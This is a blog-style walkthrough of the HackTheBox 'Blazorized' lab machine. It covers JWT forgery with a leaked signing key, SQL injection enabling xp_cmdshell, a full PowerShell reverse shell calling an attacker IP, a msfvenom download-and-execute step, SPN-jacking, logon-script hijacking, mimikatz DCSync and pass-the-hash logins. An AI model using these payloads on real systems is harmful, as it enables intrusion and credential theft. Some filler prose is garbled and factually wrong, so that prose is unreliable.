Beginner’s Guide to Conquering Blazorized on HackTheBox

The CyberSec Guru

Updated on:

Beginner's Guide to Conquering Blazorized on HackTheBox

If you like this post, then please share it:

Buy me A Coffee!

Support The CyberSec Guru’s Mission

🔐 Fuel the cybersecurity crusade by buying me a coffee! Why your support matters: Zero paywalls: Keep the main content 100% free for learners worldwide, Writeup Access: Get complete in-depth writeup with scripts access within 12 hours of machine drop.

“Your coffee keeps the servers running and the knowledge flowing in our fight against cybercrime.”☕ Support My Work

Buy Me a Coffee Button

Key Highlights

Blazorized is an interesting box on HackBox that’s perfect for anyone just starting out in cybersecurity. This blog acts like a guide, showing you how to tackle Blazorized with all the tools and resources you’ll need. It walks you through everything step-by-step – from getting initial access, spotting vulnerabilities, exploiting them, to bumping up your privileges. Plus, it points out common mistakes and gives advice on how to avoid them. The post wraps up by encouraging readers to give Blazorized a go themselves.

In the introduction section of this blog about Blazorized – a captivating challenge found on HackTheBox – beginners are given an excellent chance to sharpen their cybersecurity skills. This blog lays everything out clearly as if holding your hand through mastering Blazed: what steps to take one after another and understanding both the basics and more advanced techniques needed for conquering challenges like these in cybersecurity.

Introduction

Blazorized Homepage

Welcome to Blazorized, brought to you by HackTheBox! This is a beginner’s guide that will take you on an amazing adventure into cybersecurity challenges. With Blazorized, those who want to become ethical hackers are in for a real treat. You’ll get deep into learning about how to find vulnerabilities, list out valuable data, and move up the ladder of access rights. It’s time to put your hacking skills and knowledge to the test as you aim at becoming proficient in hacking. Let’s dive together into this fascinating world of Blazorized!

Understanding Blazorized: A Comprehensive Overview

In HackTheBox, the Blazorized challenge is really exciting because it mixes up Blazor technology with cybersecurity situations. It’s a cool way for newbies to learn by doing, as they get to try out actual hacking methods but in a safe space. By getting good at Blazarized, you can get better at spotting details (reconnaissance), listing things out (enumeration), breaking into systems (exploitation), and gaining higher access levels (privilege escalation). This challenge is all about diving deep into cybersecurity by tackling problems head-on and learning through action.

What is Blazorized in HackTheBox?

In HackTheBox, the Blazorized challenge is all about putting your cybersecurity skills to the test. It’s like stepping into a simulation of what you’d face in real life. To move ahead, participants have to spot weaknesses and figure out how to take advantage of them. This helps improve their skills in penetration testing. Are you excited to jump into this hands-on learning adventure?

Why Blazorized is a Must-Try Challenge for Beginners

In HackTheBox, Blazorized is a cool way to get your hands dirty with some important cybersecurity stuff. It’s like jumping into a pretend world where you can learn the ropes about things like privilege escalation and reconnaissance without getting in any real trouble. By diving into this challenge, folks can really get the hang of finding weak spots, keeping things locked down tight, and sharpening their skills overall. It’s pretty much an awesome first step for anyone looking to get good at dealing with cyber threats in the real world and kick-start their path to becoming a whiz at cybersecurity.

Preparing for Your Blazorized Adventure

To start your adventure with Blazorized, you’ll need to pick up some key tools. First off, grab nmap for checking out networks, Python to help you write scripts, and Burp Suite to take a peek at web traffic. Dive into HackTheBox where you can learn all about breaking into systems, tackling Windows machines, and getting the hang of Active Directory stuff. Make sure you’ve got a Windows machine set up in your own lab so you can really get stuck in. GitHub’s also a goldmine for finding scripts, including a useful cleanup script that could come in handy. Get comfy with terms like LDAP (it’s how directories talk), Kerberos (that’s all about proving who you are online), command line SQL injection (a sneaky way to mess with databases). Keep that curiosity alive by hanging out on cybersecurity forums; it’s a great way to keep sharpening those skills before jumping fully into Blazorized.

Essential Tools and Resources Needed

Starting off with an nmap scan is a great way to get the lay of the land. Using Python for writing scripts comes in handy too, and don’t forget about Burp Suite when you’re diving into web app testing. On top of that, tools like Bloodhound are super useful for figuring out Active Directory layouts, while CrackMapExec can be a game-changer for taking advantage of SMB flaws. It’s also good to have a grasp on things like LDAP, DNS, and HTTP since they play big roles online. For sharpening your skills further, checking out HackTheBox tutorials or poking around GitHub repositories full of exploit payloads could do wonders. Practicing with demo applications is another smart move. Really getting good at using these tools and resources will make a huge difference in your cybersecurity abilities.

Setting Up Your Environment: A Step-by-Step Guide

Getting your environment ready is super important when you’re gearing up for the Blazorized challenge. In this part, I’ll walk you through how to get everything set up step by step, including how to make a GET request. We’ll talk about getting all the tools you need, tweaking your network settings, and making sure your workspace is both stable and safe. By sticking with this guide, you’ll be all set to jump into the Blazorized challenge without any hitches.

Step-by-Step Guide to Tackling Blazorized

  • Initial Reconnaissance: Start with an nmap scan to understand the Windows machine’s open ports and services.
  • Enumeration: Use Bloodhound or LDAP to identify potential weaknesses and user accounts.
  • Exploitation: Look for vulnerabilities like SQL injection (SQLi) or opportunities to inject malicious payloads.
  • Privilege Escalation: Utilize techniques involving WinRM to gain higher privileges within the system.
  • Maintaining Access: Secure your high-level access by manipulating Kerberos or DNS services.

Step 1: Performing Initial Reconnaissance

Starting off with a hack in Blazorized means first doing some detective work by using a nmap scan and a PowerShell script. This helps us see which doors are open, so to speak, on the target machine and what kind of weak spots it might have in the web application, particularly on the victim machine. By checking out the HTTP stuff with Burp Suite and looking into DNS details, we can get a clearer picture of where to look closer. On top of that, using Python or tools like Bloodhound and Docker Compose for figuring out how things are laid out in the active directory is super helpful. All this digging around to create a malicious BAT file is key to laying down solid groundwork before moving forward with trying to break in successfully.

NMap Scan of the Machine
NMap Scan of the Machine

From the NMap Scan output, we can fairly confidently say that this is a domain controller due to the presence of services like Kerberos running on port 53 and LDAP on port 389, which could potentially include user password hashes and the execution of a logon script.

Let’s add bind 10.10.11.22 to blazorized.htb via the hosts file

Website Hosted on the Machine
Website Hosted on the Machine
Burp Suite Intercept shows Blazor framework .dll file requests
Burp Suite Intercept shows Blazor framework .dll file requests

After downloading the dll files and analyzing the source code, we find the following:

private const long EXPIRATION_DURATION_IN_SECONDS = 60L;
private static readonly string jwtSymmetricSecurityKey = "8697800004ee25fc33436978ab6e2ed6ee1a97da699a53a53d96cc4d08519e185d14727ca18728bf1efcde454eea6f65b8d466a4fb6550d5c795d9d9176ea6cf021ef9fa21ffc25ac40ed80f4a4473fc1ed10e69eaf957cfc4c67057e547fadfca95697242a2ffb21461e7f554caa4ab7db07d2d897e7dfbe2c0abbaf27f215c0ac51742c7fd58c3cbb89e55ebb4d96c8ab4234f2328e43e095c0f55f79704c49f07d5890236fe6b4fb50dcd770e0936a183d36e4d544dd4e9a40f5ccf6d471bc7f2e53376893ee7c699f48ef392b382839a845394b6b93a5179d33db24a2963f4ab0722c9bb15d361a34350a002de648f13ad8620750495bff687aa6e2f298429d6c12371be19b0daa77d40214cd6598f595712a952c20eddaae76a28d89fb15fa7c677d336e44e9642634f32a0127a5bee80838f435f163ee9b61a67e9fb2f178a0c7c96f160687e7626497115777b80b7b8133cef9a661892c1682ea2f67dd8f8993c87c8c9c32e093d2ade80464097e6e2d8cf1ff32bdbcd3dfd24ec4134fef2c544c75d5830285f55a34a525c7fad4b4fe8d2f11af289a1003a7034070c487a18602421988b74cc40eed4ee3d4c1bb747ae922c0b49fa770ff510726a4ea3ed5f8bf0b8f5e1684fb1bccb6494ea6cc2d73267f6517d2090af74ceded8c1cd32f3617f0da00bf1959d248e48912b26c3f574a1912ef1fcc2e77a28b53d0a";
private static readonly string superAdminEmailClaimValue = "superadmin@blazorized.htb";
private static readonly string postsPermissionsClaimValue = "Posts_Get_All";
private static readonly string categoriesPermissionsClaimValue = "Categories_Get_All";
private static readonly string superAdminRoleClaimValue = "Super_Admin";
private static readonly string issuer = "<http://api.blazorized.htb>";
private static readonly string apiAudience = "<http://api.blazorized.htb>";
private static readonly string adminDashboardAudience = "<http://admin.blazorized.htb>";

From the above, we can determine that the code snippet appears to be a set of constants and read-only fields related to JWT handling in a .NET application and is typically found in applications that use JWT auth.

Adding admin.blazorized.htb to the hosts file and visiting it gives us the admin login page:

Admin Panel of Blazorized
Admin Panel of Blazorized

To access the admin panel, let’s forge a JWT token using the following code in Python:

import jwt
import datetime

class JWT:
    jwt_symmetric_security_key = "8697800004ee25fc33436978ab6e2ed6ee1a97da699a53a53d96cc4d08519e185d14727ca18728bf1efcde454eea6f65b8d466a4fb6550d5c795d9d9176ea6cf021ef9fa21ffc25ac40ed80f4a4473fc1ed10e69eaf957cfc4c67057e547fadfca95697242a2ffb21461e7f554caa4ab7db07d2d897e7dfbe2c0abbaf27f215c0ac51742c7fd58c3cbb89e55ebb4d96c8ab4234f2328e43e095c0f55f79704c49f07d5890236fe6b4fb50dcd770e0936a183d36e4d544dd4e9a40f5ccf6d471bc7f2e53376893ee7c699f48ef392b382839a845394b6b93a5179d33db24a2963f4ab0722c9bb15d361a34350a002de648f13ad8620750495bff687aa6e2f298429d6c12371be19b0daa77d40214cd6598f595712a952c20eddaae76a28d89fb15fa7c677d336e44e9642634f32a0127a5bee80838f435f163ee9b61a67e9fb2f178a0c7c96f160687e7626497115777b80b7b8133cef9a661892c1682ea2f67dd8f8993c87c8c9c32e093d2ade80464097e6e2d8cf1ff32bdbcd3dfd24ec4134fef2c544c75d5830285f55a34a525c7fad4b4fe8d2f11af289a1003a7034070c487a18602421988b74cc40eed4ee3d4c1bb747ae922c0b49fa770ff510726a4ea3ed5f8bf0b8f5e1684fb1bccb6494ea6cc2d73267f6517d2090af74ceded8c1cd32f3617f0da00bf1959d248e48912b26c3f574a1912ef1fcc2e77a28b53d0a"

    super_admin_email_claim_value = "superadmin@blazorized.htb"
    posts_permissions_claim_value = "Posts_Get_All"
    categories_permissions_claim_value = "Categories_Get_All"
    super_admin_role_claim_value = "Super_Admin"

    issuer = "http://api.blazorized.htb"
    api_audience = "http://api.blazorized.htb"
    admin_dashboard_audience = "http://admin.blazorized.htb"

    @staticmethod
    def get_signing_credentials():
        return JWT.jwt_symmetric_security_key

    @staticmethod
    def generate_temporary_jwt(expiration_duration_in_seconds=60):
        claims = {
            "email": JWT.super_admin_email_claim_value,
            "roles": [JWT.posts_permissions_claim_value, JWT.categories_permissions_claim_value],
            "iss": JWT.issuer,
            "aud": JWT.api_audience,
            "exp": datetime.datetime.utcnow() + datetime.timedelta(seconds=expiration_duration_in_seconds)
        }

        token = jwt.encode(
            claims,
            JWT.get_signing_credentials(),
            algorithm="HS512"
        )

        return token

    @staticmethod
    def generate_super_admin_jwt(expiration_duration_in_seconds=60):
        claims = {
            "email": JWT.super_admin_email_claim_value,
            "roles": [JWT.super_admin_role_claim_value],
            "iss": JWT.issuer,
            "aud": JWT.admin_dashboard_audience,
            "exp": datetime.datetime.utcnow() + datetime.timedelta(seconds=expiration_duration_in_seconds)
        }

        token = jwt.encode(
            claims,
            JWT.get_signing_credentials(),
            algorithm="HS512"
        )

        return token

    @staticmethod
    def verify_jwt(token):
        try:
            jwt.decode(
                token,
                JWT.jwt_symmetric_security_key,
                algorithms=["HS512"],
                issuer=JWT.issuer,
                audience=[JWT.api_audience, JWT.admin_dashboard_audience]
            )
            return True
        except jwt.ExpiredSignatureError:
            print("Token has expired")
            return False
        except jwt.InvalidTokenError:
            print("Invalid token")
            return False

# Main Program
if __name__ == "__main__":
    # Generate a temporary JWT token
    temporary_token = JWT.generate_temporary_jwt()
    print("Temporary JWT Token:")
    print(temporary_token)

    # Generate a super admin JWT token
    super_admin_token = JWT.generate_super_admin_jwt()
    print("\nSuper Admin JWT Token:")
    print(super_admin_token)

    # Optionally, verify a JWT token
    is_valid = JWT.verify_jwt(temporary_token)
    print(f"\nVerification result for Temporary JWT Token: {is_valid}")

    is_valid = JWT.verify_jwt(super_admin_token)
    print(f"Verification result for Super Admin JWT Token: {is_valid}")
JWT Token of Super Admin Generated
JWT Token of Super Admin Generated

Now, using JWT.IO for decoded token value:

JWT Token Decoded Value
JWT Token Decoded Value

Import the JWT token into the browser by typing in the following into the browser console:

localStorage.setItem('jwt', 'your_token');
Importing JWT Token
Importing JWT Token

Refresh the page to open the admin dashboard

Step 2: Identifying Vulnerabilities Through Enumeration

Enumeration is super important when it comes to finding weak spots in Blazorized. By using tools like nmap and asking DNS questions, we get a lot of help. Nmap helps us see which ports are open and what services are running, making it easier to spot where the problems might be. When we go deeper into enumeration, especially with SMB, we can find more specific issues that need fixing. If we mix this info with stuff from LDAP, there’s a chance to figure out how someone could gain unauthorized access or privilege escalation. Enumeration also lets us discover details about users that are key for creating attacks that work well against them. By being really thorough with enumeration, understanding how to break through Blazarized’s defenses becomes much clearer – something anyone trying to master hacking needs to know how good they’re doing.

After looking around a bit, we can find out that searching for duplicate categories can allow us for executing sqli payloads. For example:

www'; EXEC sp_configure 'show advanced options',1; RECONFIGURE; EXEC sp_configure 'xp_cmdshell',1; RECONFIGURE;-- -

For execution of command:

www'; exec master..xp_cmdshell 'xxx';-- -

For reverse shell, we can host a python server and upload a payload:

python3 -m http.server 8088

Payload Contents:

$client = New-Object System.Net.Sockets.TCPClient('10.10.14.115',5050);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex ". { $data } 2>&1" | Out-String ); $sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()

Using netcat:

nc -lvnp 5050

We get the shell as NU_1055

tep 3: Exploiting Found Vulnerabilities to Gain Access

When you find weak spots, use tools such as Burp Suite to make special payloads for exploitation including a reverse shell script. Go for SQL injection or create payloads that fit the weaknesses you’ve found. Try out methods like command injections or buffer overflows to hit those system weak points right where it hurts, aiming ultimately for remote code execution. To see if your payload works well, check how the system reacts or use Wireshark to keep an eye on what’s going through the network, including tracking the IP address. After you manage a successful exploit, get yourself a solid spot in the system so you can move forward with getting access and pulling out important flags.

Let’s enumerate Active Directory. Beginning with making an windows executable payload using msfvenom:

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.10.14.115 LPORT=4444 -f exe -o remote.exe

Downloading it on the target and running it:

Invoke-WebRequest -Uri 'http://10.10.14.155:8088/remote.exe' -OutFile 'C:\Users\Public\remote.exe'; Start-Process 'C:\Users\Public\remote.exe'

After that, using meterpreter, uploading powerview.ps1:

meterpreter> upload powerview.ps1

Loading it:

. ./powerview.ps1

Now, we can use the following command to enumerate the AD and some interesting ACLs:

Find-InterestingDomainAcl -ResolveGUIDs | ?{$_.IdentityReferenceName -match "nu_1055"}
Interesting Domain ACLs
Interesting Domain ACLs

From the above, we can see that RSA_4810 can be exploited using SPN-jacking attack. Using the following command:

Set-DomainObject -Identity RSA_4810 -SET @{serviceprincipalname='test/tester'}
Get-DomainSPNTicket -SPN test/tester
TGS Ticket Hash
TGS Ticket Hash

Using John to brute force the hash:

Hash cracking using John
Hash cracking using John

With that, we get the password for RSA_4810 as Ni7856D…..Ng0005

Using evil-winrm for logging in:

evil-winrm -u 'RSA_4810' -p '(Ni7856Do9854Ki05Ng0005 #)' -i 10.10.11.22
Logging in as RSA_4810 user
Logging in as RSA_4810 user

After searching for ACLs, we find that the script-path of SSA_6010 can be changed by RSA_4810

script-path of SSA_6010 can be changed by RSA_4810
script-path of SSA_6010 can be changed by RSA_4810

Step 4: Privilege Escalation Techniques and Tips

To get better at Blazorized, concentrate on improving your skills in privilege escalation. Look into ways to take advantage of mistakes in settings, use weak permissions to your benefit, and work towards getting root access. Get familiar with methods like taking advantage of kernel weaknesses, hijacking DLLs, and messing with cron jobs. Getting good at these techniques will boost your cybersecurity abilities and make you more skilled in complex hacking situations. Keep an eye out for chances to gain Root Access and grab those important flags as you go along. Wishing you all the best on your journey through Blazorized!

Changing the script-path of SSA_6010 (putting the script in sysvol\[domain]\scriptsFolder\[anyLoc]) and then listen for shell:

Set-ADUser -Identity SSA_6010 -ScriptPath 'A32FF3AEAA23\shell.ps1'

Step 5: Securing Root Access and Extracting Flags

To get to the top level and grab flags in Blazorized, you should really focus on using privilege escalation smartly to boost your user status. After you’ve managed that, make sure to set up strong security steps so no one notices what’s going on and keeps everything locked down tight, including your home directories. For figuring out the network layout and spotting important targets, BloodHound is a great tool to use. Be very careful when getting both user and root flags; it shows how well you understand this challenge. Always keep an eye out for any dangers or weak spots that could slow down your journey towards getting full access.

Use the following command with the extracted hash in evil-winrm for logging in:

evil-winrm -i 10.10.11.22 -u SSA_6010 -H "798d0354e026fd168b91063f09184c9f"
Logging in as SSA_6010
Logging in as SSA_6010

Use the following command to get the admin NTLM hash:

./mimikatz.exe -Command '"lsadump::dcsync /user:administrator"' exit
Admin NTLM hash
Admin NTLM hash

Use the following command to log in as admin:

evil-winrm -i 10.10.11.22 -u Administrator -H "f55ed1465179ba374ec1cad05b34a5f3"
Admin login using evil-winrm and extracted hash
Admin login using evil-winrm and extracted hash

Post-Exploitation Strategies and Securing Achieved Access

Post-exploitation strategies are crucial in maintaining access to a compromised system while minimizing the risk of detection. After successfully gaining entry to the victim machine, one effective method is deploying a reverse shell for persistent access. This allows the attacker to maintain control over the system even after initial access has been established.

During post-exploitation, navigating through directories on the target machine can reveal valuable information such as DLL files or user password hashes. This data can be used to further exploit vulnerabilities within the system or escalate privileges to gain deeper access.

To secure the achieved access and evade detection, it is essential to modify admin privileges and patch any vulnerabilities that were exploited during the initial breach. Implementing logon scripts or cleanup routines can help cover tracks and erase any traces of unauthorized activity, ensuring continued access without raising suspicion.

Regularly reviewing and enhancing security measures is imperative to prevent unauthorized reentry into the system. By staying proactive and vigilant in fortifying defenses, attackers can reduce the likelihood of being detected and mitigate risks associated with post-exploitation activities.

Common Pitfalls and How to Avoid Them

When you’re getting into Blazorized, it’s key to watch out for usual traps that newbies often fall into. In this part, we’ll shine a light on some of these issues and share advice on steering clear of them. By keeping an eye on these possible hurdles and sticking to the best ways of doing things, you can make your way through the challenge better and really get the most out of learning.

Overlooking Crucial Details During Enumeration

In the world of cybersecurity, when you’re caught up in counting and listing things out, it’s easy to skip over important bits. This can really slow you down. It’s crucial to look closely at everything; missing even a tiny clue can throw you off track. By paying attention to all the details found during your initial checks or reconnaissance, you make sure not to miss any critical hints that could help move forward in solving problems. In cybersecurity, not noticing something small could be what holds you back from succeeding or moving ahead. So always be careful and thorough with enumeration if you want the best chance at success.

Misconfigurations That Can Lead to Dead Ends

Setting up things the wrong way, like messing up permissions, not paying enough attention to firewall rules, or forgetting about dividing the network into separate parts are usual slip-ups that can mess with your progress in Blazorized. Not getting user roles right, sticking with default passwords and usernames, or skipping important security updates might stop you in your tracks. To dodge these issues, make sure to thoroughly check and refresh your settings regularly. By doing this according to cybersecurity guidelines, you’ll keep any obstacles out of your hacking path.

Conclusion

Start your adventure with Blazorized, armed with new skills and a deeper understanding of cybersecurity challenges, including awareness of SQL injection vulnerability. Getting good at Blazorized on HackTheBox is quite the achievement, mixing technical skill with clever problem-solving. As you dive into this fascinating challenge, keep in mind to use enumeration, privilege escalation, and exploitation techniques. Keep an eye out for learning opportunities from each try and get better after every round. Enjoy the excitement of beating Blazorized while you sharpen your cybersecurity skills.

Frequently Asked Questions

How Long Does It Typically Take to Complete Blazorized?

Finishing Blazorized on HackTheBox can take different amounts of time, depending on how much you know. If you’re just starting out, it might take you from a few days to several weeks. On the other hand, if hacking is something you’ve done a lot of, you could get through it in just a few hours. A big part of getting faster at this comes down to practicing and really understanding hacking concepts well.

What Should I Do If I Get Stuck on Blazorized?

When you’re hitting a wall with Blazorized, think about going back to square one with your enumeration. Try out new ways of exploiting it, look for tips on internet forums, or team up with someone else. Keep in mind that sticking to it and looking at things from a new angle can really make the difference.

Are There Any Community Resources for Additional Help?

Dive into the HackTheBox forums and Discord channels where you’ll find tons of resources from the community. Connect with other people who love Blazorized just as much as you do, exchange advice, and get help to make your learning experience even better. By tapping into this collective support, tackling Blazarized challenges becomes a whole lot easier.

Buy me A Coffee!

Support The CyberSec Guru’s Mission

🔐 Fuel the cybersecurity crusade by buying me a coffee! Your contribution powers free tutorials, hands-on labs, and security resources.

Why your support matters:
  • Writeup Access: Get complete writeup access within 12 hours
  • Zero paywalls: Keep the main content 100% free for learners worldwide

Perks for one-time supporters:
☕️ $5: Shoutout in Buy Me a Coffee
🛡️ $8: Fast-track Access to Live Webinars
💻 $10: Vote on future tutorial topics + exclusive AMA access

“Your coffee keeps the servers running and the knowledge flowing in our fight against cybercrime.”☕ Support My Work

Buy Me a Coffee Button

If you like this post, then please share it:

Discover more from The CyberSec Guru

Subscribe to get the latest posts sent to your email!

Leave a Reply

This site uses Akismet to reduce spam. Learn how your comment data is processed.

Discover more from The CyberSec Guru

Subscribe now to keep reading and get access to the full archive.

Continue reading